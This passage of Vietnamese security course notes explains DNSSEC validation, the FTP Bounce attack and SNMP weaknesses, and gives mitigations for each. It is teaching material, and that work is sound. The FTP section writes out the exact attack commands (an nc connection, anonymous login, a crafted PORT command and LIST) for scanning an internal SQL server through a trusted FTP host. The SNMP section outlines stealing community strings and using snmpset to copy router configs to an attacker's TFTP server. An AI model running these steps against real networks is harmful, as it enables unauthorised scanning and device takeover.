  - Resolver hỏi Root về .com.
  - Root trả về thông tin máy chủ .com kèm theo bản ghi **DS (Delegation Signer)** và **DNSKEY** đã được ký bằng **Khóa riêng (Private Key)** của Root.
  - *Ý nghĩa:* Root bảo đảm: "Thằng .com này là uy tín, ta đã ký xác nhận cho nó".
- **Resolver <-> .com TLD DNS Server (Chìa Xanh lá):**
  - Resolver hỏi .com về example.com.
  - Máy chủ .com trả về thông tin máy chủ example.com kèm theo bản ghi **DS** và **DNSKEY** đã được ký bằng **Khóa riêng** của .com.
  - *Ý nghĩa:* Máy chủ .com bảo đảm: "Thằng example.com này uy tín, ta đã ký xác nhận cho nó".
- **Resolver <-> example.com DNS Server (Chìa Vàng):**
  - Resolver hỏi máy chủ này về www.example.com.
  - Máy chủ này trả về địa chỉ IP chính xác **192.0.2.54**. Quan trọng nhất, gói tin này được ký số ("Signed") bằng **Khóa riêng** của example.com.

Bước 3: Kiểm chứng (Validation)

Đây là bước diễn ra bên trong **DNS Resolver** (hình cái khiên có dấu tích đỏ):

- Resolver sẽ dùng các **Khóa công khai (Public Key - DNSKEY)** mà nó thu thập được để giải mã các chữ ký số.
- Nó kiểm tra xem: Chữ ký của example.com có khớp với xác nhận của .com không? Chữ ký của .com có khớp với xác nhận của Root không?
- Nếu tất cả khớp nhau -> **Chain of Trust (Chuỗi niềm tin)** được xác lập. Dữ liệu chưa bị sửa đổi trên đường đi.

Kết quả trả về

- **Resolver -> Client:** Sau khi xác minh "Chuỗi niềm tin" hoàn tất, Resolver trả về IP 192.0.2.54 cho Client với thông báo **"Secure resolution"** (Phân giải an toàn).
- Client yên tâm kết nối, biết chắc chắn mình không bị lừa vào một trang web giả mạo (Phishing) hay bị tấn công đầu độc bộ nhớ đệm (DNS Cache Poisoning).

(Ví dụ quy trình này giống như **xác thực giấy tờ**:

1. **example.com Server** giống như anh công an phường cấp giấy chứng nhận cư trú (IP). Anh ấy ký tên đóng dấu vào giấy.
2. Làm sao biết anh công an phường là thật? Phải kiểm tra chữ ký của **Công an Quận (.com TLD)** xác nhận cho anh phường.
3. Làm sao biết Công an Quận là thật? Phải xem chữ ký của **Bộ Công An (Root Server)** xác nhận cho quận.
4. **Resolver** chính là người dân đi xác minh tất cả các con dấu đó từ trên xuống dưới trước khi tin tưởng tờ giấy.)

---

6. Lợi ích của DNSSEC

1. **Ngăn chặn DNS Spoofing**:
    - Đảm bảo dữ liệu DNS không bị thay đổi hoặc giả mạo.
2. **Xác thực nguồn gốc dữ liệu**:
    - Đảm bảo dữ liệu DNS đến từ máy chủ DNS hợp lệ.
3. **Bảo vệ người dùng**:
    - Tránh bị chuyển hướng đến các trang web giả mạo hoặc lừa đảo.

---

7. Hạn chế của DNSSEC

1. **Không bảo vệ dữ liệu người dùng**:
    - DNSSEC không mã hóa dữ liệu DNS, chỉ bảo vệ tính toàn vẹn và xác thực.
2. **Phức tạp trong triển khai**:
    - Cần cấu hình và duy trì đúng cách để tránh gián đoạn dịch vụ.
3. **Tăng kích thước gói DNS**:
    - Chữ ký số và khóa công khai làm tăng kích thước gói DNS, có thể gây vấn đề với giao thức UDP.

---

8. Giải pháp phòng chống và triển khai DNSSEC

1. **Cấu hình DNSSEC trên máy chủ DNS**:
    - Kích hoạt DNSSEC trên máy chủ DNS (như BIND, Microsoft DNS).
    - Tạo các bản ghi DNSKEY, RRSIG, và DS.
2. **Sử dụng phần mềm và công cụ hỗ trợ**:
    - Sử dụng dịch vụ DNSSEC từ các nhà cung cấp DNS lớn (Google DNS, Cloudflare DNS).
3. **Giám sát và bảo trì**:
    - Đảm bảo các khóa DNSSEC được cập nhật thường xuyên.
    - Kiểm tra tính toàn vẹn của chuỗi tin cậy.

---

9. Kết luận

- **DNSSEC** là một giải pháp bảo mật quan trọng để bảo vệ hệ thống DNS trước các tấn công giả mạo.

- Mặc dù triển khai DNSSEC có thể phức tạp, nhưng lợi ích vượt trội về bảo mật làm cho nó trở thành một tiêu chuẩn cần thiết trong môi trường Internet hiện đại.

FTP Bounce Attack

1. Bản chất kỹ thuật (Concept)

Lỗ hổng này lợi dụng tính năng **Active Mode** của giao thức FTP.

- **Cơ chế chuẩn:** Trong chế độ Active, Client gửi lệnh PORT đến Server để thông báo: *"Hãy gửi dữ liệu cho tôi tại địa chỉ IP này và Cổng này"*.
- **Lỗ hổng:** Trong thiết kế cũ (RFC 959), FTP Server **không kiểm tra** xem địa chỉ IP/Port trong lệnh PORT có trùng với địa chỉ của người đang gửi yêu cầu hay không.
- **Khai thác:** Kẻ tấn công (Attacker) kết nối tới FTP Server nhưng lại lừa FTP Server gửi dữ liệu (hoặc kết nối) đến một máy nạn nhân (Victim) khác.

Mục đích tấn công:

1. **Quét cổng (Port Scanning):** Dùng FTP Server để kiểm tra xem một máy khác có đang mở cổng nào đó không (lợi dụng FTP Server làm "bàn đạp" để giấu IP của Attacker).
2. **Vượt tường lửa:** Nếu FTP Server nằm trong vùng tin cậy (Trusted Zone) của Nạn nhân, Attacker có thể xuyên qua Firewall.
3. **Gửi dữ liệu giả mạo:** Gửi file độc hại vào máy nạn nhân thông qua FTP Server.

---

2. Quy trình tấn công (Step-by-Step)

Giả sử chúng ta có 3 thực thể:

1. **Attacker:** Máy kẻ tấn công.
2. **FTP Server (Bị lỗi):** Máy chủ trung gian (The "Pawn").
3. **Victim (Web Server):** Máy nạn nhân mà Attacker muốn quét cổng 80.

Bước 1: Kết nối Control Channel
Attacker thiết lập kết nối FTP bình thường tới FTP Server (cổng 21).

Bước 2: Gửi lệnh PORT độc hại
Thay vì yêu cầu FTP Server gửi dữ liệu về cho Attacker, Attacker gửi lệnh PORT chứa địa chỉ IP của **Victim** và cổng muốn quét (ví dụ cổng 80).
Công thức tính Port trong lệnh FTP: (P1 * 256) + P2.

- Ví dụ IP Victim là 192.168.1.10, muốn quét port 80.
- Tính toán Port: 80 = 0 * 256 + 80.
- Lệnh gửi đi: PORT 192,168,1,10,0,80.

Bước 3: Kích hoạt kết nối (Data Channel)
Attacker gửi một lệnh yêu cầu truyền dữ liệu, thường là LIST (liệt kê danh sách file) hoặc RETR (tải file).

Bước 4: Phân tích phản hồi
FTP Server sẽ cố gắng mở kết nối TCP đến 192.168.1.10:80 để gửi dữ liệu kết quả của lệnh LIST.

- **Trường hợp 1 (Cổng 80 mở):** FTP Server kết nối thành công. Nó gửi về cho Attacker mã thông báo **226 Transfer complete**. -> **Kết luận: Port 80 Open.**
- **Trường hợp 2 (Cổng 80 đóng):** Kết nối bị từ chối. FTP Server gửi về cho Attacker mã thông báo **425 Can't open data connection**. -> **Kết luận: Port 80 Closed.**

---

3. Ví dụ minh họa thực tế (Scenario)

Bối cảnh:

- **Attacker (A):** IP 10.10.10.1
- **FTP Server (B):** IP 172.16.0.5 (Nằm trong DMZ của công ty X).

- **Database Server (C):** IP 172.16.0.10 (Nằm trong mạng nội bộ, chặn kết nối từ Internet, nhưng tin tưởng FTP Server B).

Kịch bản: Attacker muốn biết Database Server (C) có mở cổng 1433 (SQL) hay không.

Các bước thực hiện:

1. **A -> B:** NC 172.16.0.5 21 (Kết nối tới FTP Server).
2. **A -> B:** USER anonymous / PASS ... (Đăng nhập thành công).
3. **A -> B:** PORT 172,16,0,10,5,153
    - *(Giải thích: 5 * 256 + 153 = 1433. Đây là IP của máy C và port SQL).*
4. **B:** Ghi nhận lệnh PORT, chuẩn bị gửi dữ liệu tới 172.16.0.10:1433.
5. **A -> B:** LIST (Ra lệnh cho B gửi danh sách file).
6. **B -> C:** FTP Server B cố gắng thực hiện bắt tay 3 bước (SYN) tới cổng 1433 của máy C.
    - *Do B nằm trong vùng tin cậy, Firewall có thể cho phép kết nối này.*
7. **Kết quả:**
    - Nếu B trả về cho A: *"226 Transfer complete"* -> A biết C đang chạy SQL Server.
    - Lúc này, A đã quét được mạng nội bộ mà không cần trực tiếp chạm vào máy C.

Cách phòng chống (Mitigation)

1. **Cấu hình FTP Server:** Hầu hết các FTP Server hiện đại (vsftpd, ProFTPD, IIS FTP) đều có tính năng kiểm tra an toàn: *Nếu IP trong lệnh PORT khác với IP của kết nối điều khiển (Source IP), hãy từ chối.*

2. **Sử dụng Passive Mode:** Chuyển sang dùng Passive Mode làm mặc định.
3. **Firewall:** Cấu hình tường lửa không cho phép FTP Server khởi tạo kết nối ra ngoài (Outbound) đến các vùng mạng nhạy cảm (trừ các port được quy định rõ).

SNMP (Simple Network Management Protocol)

1. Phân tích rủi ro theo phiên bản

SNMP hoạt động dựa trên mô hình Manager (Máy quản lý) và Agent (Thiết bị mạng). Vấn đề cốt lõi nằm ở cách chúng **xác thực (Authentication)** và **mã hóa (Encryption)**.

A. SNMPv1 và SNMPv2c (Rủi ro: Cleartext & Weak Auth)

- **Truyền tải văn bản rõ (Cleartext Transmission):** Mọi dữ liệu, bao gồm cả "mật khẩu" (gọi là **Community String**), đều được gửi dưới dạng văn bản không mã hóa (plain text).
- **Xác thực yếu:** Chỉ dựa vào Community String. Nếu ai đó có chuỗi này, họ được coi là người quản trị hợp lệ.
- **Mặc định nguy hiểm:** Hầu hết thiết bị xuất xưởng đều đặt mặc định là public (cho quyền Read-Only) và private (cho quyền Read-Write).

B. SNMPv3 (Rủi ro: Cấu hình sai & Quản lý Key)

SNMPv3 ra đời để khắc phục 2 lỗi trên bằng cách hỗ trợ xác thực (MD5/SHA) và mã hóa (DES/AES). Tuy nhiên, rủi ro vẫn tồn tại:

- **Cấu hình phức tạp:** Do quá nhiều tham số (EngineID, Auth Key, Priv Key), quản trị viên thường cấu hình sai hoặc lười triển khai, quay về dùng v2c.
- **Brute-force/Dictionary Attack:** Nếu mật khẩu (passphrase) yếu, hacker vẫn có thể tấn công từ điển vào băm (hash) xác thực.

---

2. Ví dụ minh họa thực tế (Kịch bản tấn công)

Kịch bản 1: Do thám mạng (Reconnaissance)

- **Bối cảnh:** Hacker đã xâm nhập được vào mạng nội bộ
- **Hành động:**
    1. Hacker bật **Wireshark** hoặc **tcpdump** để bắt gói tin.

2. Hacker chờ đợi (hoặc tạo ra traffic) để thấy một gói tin SNMP đi qua (cổng UDP 161/162).
3. Vì SNMPv1/v2c không mã hóa, Hacker đọc được ngay Community String là "public".

- **Khai thác:**
  - Hacker dùng công cụ **snmpwalk** với chuỗi "public" vừa trộm được.
  - **Hậu quả:** Hacker lấy được toàn bộ bản đồ mạng (Network Topology), danh sách IP, phiên bản hệ điều hành (giúp tìm CVE tương ứng), danh sách user, và tình trạng tải của CPU/RAM. Đây là bước đệm hoàn hảo để tấn công sâu hơn.

Kịch bản 2: Chiếm quyền điều khiển (SNMP RW Attack)

- **Bối cảnh:** Quản trị viên quên không đổi Community String mặc định "private" (quyền Ghi - Read/Write) hoặc Hacker brute-force thành công chuỗi này.
- **Hành động:**
  1. Hacker gửi lệnh snmpset thay vì snmpget.
  2. Hacker thay đổi cấu hình tệp tin khởi động (Startup Config) hoặc thay đổi địa chỉ TFTP Server trên Router.
  3. Lệnh của Hacker: *"Hãy sao lưu cấu hình hiện tại của Router về máy TFTP của tôi"*.
- **Hậu quả:** Hacker có trong tay file cấu hình chứa mật khẩu (dạng băm hoặc rõ) của Router, VPN keys, và toàn bộ sơ đồ định tuyến. Thậm chí, Hacker có thể ra lệnh khởi động lại thiết bị (DoS).

---

3. Phương cách phòng chống (Mitigation)

A. Chuyển đổi sang SNMPv3 (Mức độ ưu tiên cao nhất)

- Bắt buộc sử dụng chế độ **AuthPriv** (Authentication + Privacy).

    - **Auth:** Đảm bảo người gửi là đúng (dùng SHA, tránh MD5 nếu có thể).
    - **Priv:** Đảm bảo không ai đọc trộm được (dùng AES, tránh DES).

B. Quản lý Community String (Nếu bắt buộc dùng v1/v2c)

- **Xóa bỏ mặc định:** Tuyệt đối không dùng public hay private. Đặt chuỗi phức tạp như mật khẩu (Ví dụ: H@noi_University_Sec2025!).
- **Phân quyền tối thiểu:** Chỉ cấp quyền **Read-Only (RO)** cho các công cụ giám sát. Hạn chế tối đa quyền **Read-Write (RW)**. Nếu không cần sửa cấu hình qua SNMP, hãy tắt hẳn RW.

C. Kiểm soát truy cập mạng (Network Segmentation & ACL)

- **Access Control List (ACL):** Trên Router/Switch, cấu hình ACL để chỉ cho phép duy nhất địa chỉ IP của máy chủ giám sát (NMS - Network Management System) được phép gửi truy vấn SNMP.
    - *Ví dụ lệnh Cisco:* snmp-server community OhSoS3cret RO 10 (Trong đó 10 là số hiệu ACL chỉ cho phép IP của Admin).
- **Management VLAN:** Đưa lưu lượng SNMP vào một VLAN quản trị riêng biệt, tách rời khỏi VLAN của người dùng (User Data).

D. Giám sát & Tắt dịch vụ thừa

- Tắt SNMP service trên các thiết bị không cần giám sát.
- Theo dõi log để phát hiện các truy vấn SNMP thất bại (dấu hiệu của brute-force).

Gợi ý câu hỏi thảo luận:

"Tại sao SNMPv3 an toàn hơn nhưng nhiều doanh nghiệp vẫn dùng SNMPv2c ? Nếu là CISO (Giám đốc an toàn thông tin), em

sẽ thuyết phục Ban giám đốc nâng cấp như thế nào khi việc này tốn kém thời gian và có thể gây gián đoạn giám sát?"